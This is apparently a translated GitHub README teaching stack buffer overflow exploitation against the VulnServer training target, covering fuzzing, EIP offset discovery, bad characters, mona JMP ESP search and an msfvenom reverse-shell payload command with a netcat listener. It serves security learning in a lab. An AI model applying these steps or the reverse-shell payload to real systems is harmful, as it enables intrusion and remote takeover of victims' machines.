IamLucif3r/Buffer-Overflow

GitHub: IamLucif3r/Buffer-Overflow

一个系统讲解缓冲区溢出漏洞原理与利用技术的学习型仓库,包含完整的Fuzzing脚本和从崩溃到getshell的七步攻击流程演示。

Stars: 18 | Forks: 4

# Buffer-Overflow ![](https://img.shields.io/badge/Python-3776AB?style=for-the-badge&logo=python&logoColor=white) [![](https://img.shields.io/badge/Ruby-CC342D?style=for-the-badge&logo=ruby&logoColor=white)](https://img.shields.io/badge/Ruby-CC342D?style=for-the-badge&logo=ruby&logoColor=white) 这些是用于缓冲区溢出模糊测试和利用的脚本及方法论。 ## 缓冲区溢出 - 关于 BOF 你需要知道的一切 当你给程序提供过多数据时,就会发生缓冲区溢出漏洞。多余的数据会破坏内存中相邻的空间,并可能改变其他数据。结果,程序可能会报告错误或表现异常。这种漏洞也被称为缓冲区 overrun。 ## 缓冲区溢出攻击的类型 - 基于栈的缓冲区溢出更为常见,它利用仅存在于函数执行期间的栈内存。 - 基于堆的攻击更难实施,涉及将分配给程序的内存空间溢出到当前运行时操作使用的内存之外。 ## 步骤: 1. 崩溃应用程序 2. 查找 EIP 3. 控制 ESP 4. 识别坏字符 5. 查找 JMP ESP 6. 生成 Shellcode 7. 利用
## 1. 内存剖析 从内存的基础知识及其在计算机中的消耗开始。 - **缓冲区**是用于数据存储的临时区域。当程序或系统进程放入的数据多于最初分配的存储量时,多余的数据就会溢出。它导致其中一些数据泄漏到其他缓冲区中,这可能会破坏或覆盖它们所保存的任何数据。 - 在**缓冲区溢出攻击**中,多余的数据有时包含黑客或恶意用户意图执行的特定指令;例如,数据可能触发损坏文件、更改数据或泄露私有信息的响应。 ![anatomy](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f07e961afd124344.png) - **内核**位于顶部,**文本**位于底部。中间是栈和堆,这实际上是我们要关注的区域。 ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ae08492cca124345.png) - 它的顶部有 **ESP**,底部有 **EBP**。栈是从上到下填充的。这就是我们要填充缓冲区的方式。作为此处显示的示例,我们用 'A' 填充了缓冲区空间,并且一直溢出到 EIP,这会导致数据损坏或数据被覆盖。
## 2. 进行缓冲区溢出攻击的步骤 缓冲区溢出攻击通过以下步骤进行检查和利用: 1. 模糊测试 2. 查找偏移量 3. 覆盖 EIP 4. 查找坏字符 5. 查找正确的模块 6. 生成 Shellcode 7. 获取 Root 权限! ###### 注意:此演示是在易受攻击的服务器 - [Grey Corner VulnServer](http://thegreycorner.com/2010/12/15/introducing-vulnserver.html) 上使用 Windows 10 上的 [Immunity Debugger](https://www.immunityinc.com/products/debugger/) 进行的。 ### 重要寄存器 - **EIP**: EIP 是扩展指令指针,它是一个只读寄存器,包含程序下一条要读取的指令地址,始终指向“程序代码”内存段。 - **ESP**: ESP 是扩展栈指针,该寄存器的目的是让你知道你在栈上的位置,这意味着 ESP 始终标记栈的顶部。 - **EBP**: EBP 是扩展基址栈指针,其目的是指向栈的基地址。 ### 2(1) 模糊测试 1. 第一步是向服务器发送大量垃圾数据,直到它崩溃。我们可以根据发送到服务器的输入进行必要的更改后使用 [Fuzzer.py](https://github.com/IamLucif3r/Buffer-Overflow/blob/main/Fuzzer.py)。 2. 脚本将按递增顺序发送数据块(第一次运行发送 100 字节,第二次运行发送 200 字节,依此类推)。总有一个时刻,服务器/应用程序会崩溃。 ### 2(2) 查找偏移量 - 从这里我们将开始找出在何处覆盖 EIP,以便我们可以获得 root 权限。 - 现在我们需要创建一个与我们的应用程序崩溃时字节数相同的模式。 - 举例来说,如果我们需要在应用程序崩溃于 3000 字节后创建一个模式,我们将运行此脚本: ``` /usr/share/metasploit-framework/tools/exploit/pattern\_create.rb -l 3000 ``` - 现在,我们将此模式添加到我们的 [Exploit.py](https://github.com/IamLucif3r/Buffer-Overflow/blob/main/Exploit.py) 中,并在重新启动应用程序后运行脚本。 - 观察 Immunity Debugger 中 EIP 的值,这是我们在创建利用时需要的偏移值。 ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/e334e38136124346.png) - 我们将再次使用 Metasploit 框架,在其中输入获得的 EIP 值,如果我们的模式匹配,我们将获得一个值,该值将是我们可以获得系统控制的字节数。 ``` /usr/share/metasploit-framework/tools/exploit/pattern\_offset.rb -l 3000 -q 386F4337 ``` ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/19511eed17124347.png) - 这就是我们获取偏移量值的方法。 ### 2(3) 覆盖 EIP - 既然我们知道在 2003 字节之后数据将溢出到 EIP,我们将这样做。为此,我们将创建一个 Python 脚本,它将添加 2003 字节的 'A',然后我们将在其后添加 'B' 以便区分。 - 同样,在运行脚本后 - 我们将观察到 EBP 将在溢出后被 41414141.... 填充。这意味着我们已经获得了对 EIP 的控制。 ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fe24e513dc124348.png) ### 2(4) 查找坏字符 - 我们将检查代码中的所有坏字符,并检查是否有任何一个起作用。 - 此外,默认情况下 \x00(无字节是坏的)会起作用,所以我们将移除它。以下是坏字符列表。 - badchars = ("\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f" "\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40" "\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f" "\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f" "\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f" "\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf" "\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf" "\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff") - 某些程序有字符来构成某些东西,例如 x70 可能变成在程序中运行的命令,告诉我们要做某事,而我们要的是在运行 shellcode 时,它不会崩溃。所以我们不会使用 x70。 - 当我们运行利用脚本时,我们发现 **ESP** 发生了一些变化,右键单击它并转到在转储中跟随。 - 在那里我们将找到 HexDump 并定位缺失的值(让我们检查一下你的眼睛 哈哈 ;p)另外我们的限制是 **\\xff**,所以我们只检查到 xff。 注意:VulnServer 被设计得非常简单,所以我们在那里不会发现任何坏字符。 - 如果在 HexDump 中发现任何缺失的字符,我们可以按如下方式检查它们: - ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d6bfb1a4ce124349.png) - 现在我们要找到正确的模块 ### 2(5) 查找正确的模块 - 通过查找正确的模块,我们意指在程序内部找到一个 .dll 或类似文件,该文件没有内存保护。 - 我们将使用一个名为 "Mona module" 的模块配合我们的调试器(链接:[https://github.com/corelan/mona.git](https://github.com/corelan/mona.git)),我们将把 mona.py 文件粘贴到:此电脑/c:/programs files(x86)/Immunity Inc/Immunity Debugger/PyCommands。 - 在调试器底部输入 - **!mona modules** & 一个窗口将弹出。 - 现在我们可以看到不同的权限设置,我们正在寻找附加到易受攻击服务器的东西(我们将确保所有都是 FALSE) - 现在回到终端,我们使用 Nasm.rb(你可以使用 locate nasm)将汇编转换为十六进制代码。 - ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/e5f7fe2be0124350.png) - 这里我们正在制作指向我们恶意代码的指针。(上面使用的是汇编语言)。观察到十六进制等于汇编的是 **FFE4**。 - 我们将使用命令找到一个指针: " **!mona find -s "\\xff\\xe4\\" -m essfunc.dll** " - ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/5230ea6784124351.png) - 现在从结果中我们将选择一个所有内容都设置为 false 的地址。 - 现在我们将使用以下脚本,在我们之前发送 4 个 B 的 shellcode 位置,我们现在将发送我们在上一步中找到的指针。 - 我们已将指针输入到我们的跳转中,以便指针将跳转到 shellcode。 - 在 Immunity Debugger 中,转到 "表达式跟随" 并在那里添加 "625011af" 然后按回车,我们将跳转到 **FFE4 JMP ESP**,按 **F2** 按钮在那里设置断点。这意味着如果命中该特定位置,缓冲区将溢出。它不会移动到进一步的程序,它将暂停并等待我们的指令。 - 现在回到终端并运行上面的脚本。你会注意到在调试器中 EIP 有一个断点,代码为 625011af,程序已暂停。 - ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/4e5ea2ca68124352.png) ### 2(6) 生成 Shellcode - 这是利用的最后一步,我们将使用名为 **Msfvenom** 的 Metasploit 实用程序来创建 payload。要创建 payload,请键入以下命令: ``` msfvenom -p windows/shell\_reverse\_tcp LHOST= LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\\x00" ``` IP 地址应该是你的攻击机器的 IP 地址,我们将在那里取回 TCP 连接。 - 上述代码的解释: - 这里使用 **msfvenom** 创建 payload,我们使用 **\-p** 开关定义我们要使用的 payload 类型,这里的 payload 是 **windows/shell\_reverse\_tcp,** 它将为我们提示一个 reverse shell。为了获得 reverse shell,我们需要定义 **LHOST & LPORT**,即攻击机器的 ip 地址和用于监听的端口。**EXITFUNC=thread** 用于 payload 的稳定性,**\-f c** 设置使用的文件类型,这里是 c。**\-a x86** 定义架构类型,**\-b** 定义存在的坏字符,**"\\x00"。** ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/92e43d39de124354.png) 这是我们的 payload 的样子。 - 将生成的 Payload 添加到 Exploit.py 脚本中,并重新启动应用程序。然后在你的攻击机器上启动 NetCat 监听你在 payload 创建步骤中给出的特定端口,然后运行利用脚本。 - 溢出执行,你将获得受害者机器的 root 权限。
## 贡献 Fork 这个仓库,做必要的修改并发给我一个 PR。我会将你的请求合并到主仓库。这是你可以做的: - 添加更多的模糊测试脚本,使用不同的编程语言。 - 添加更多的利用脚本,使用不同的编程语言。 - 改进文档(因为我不太擅长这个)。 通过给仓库加星来展示一些 。 创建者 : [IamLucif3r](https://anmol-singh-yadav.github.io/)
标签:BOF, EIP控制, Exploit开发, Pwn, Python, Ruby, Shellcode, Web报告查看器, XXE攻击, 二进制安全, 内存破坏, 堆溢出, 安全脚本, 技术调研, 无后门, 栈溢出, 欺骗防御, 知识库, 缓冲区溢出, 网络安全, 逆向工具, 隐私保护